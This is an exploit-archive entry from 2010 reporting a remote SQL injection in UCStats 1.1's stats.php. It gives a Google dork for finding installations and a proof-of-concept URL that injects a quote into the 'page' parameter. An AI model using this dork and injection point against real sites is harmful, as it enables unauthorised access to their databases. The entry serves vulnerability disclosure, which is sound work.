UCStats v1.1 SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : UCStats v1.1 SQL Injection Vulnerability
# Published : 2010-01-01
# Author : Sora
# Previous Title : DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability
# Next Title : WD-CMS 3.0 Multiple Vulnerabilities

> UCStats 1.1 Remote SQL Injection Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: "Powered by UCStats version 1.1"

# Vulnerability Description:
UCStats version 1.1 suffers a remote SQL injection vulnerability in stats.php.

# Code/Proof of Concept (PoC):
http://server/stats.php?game=cstrike&q=players&page=4'&sort=online&dir=asc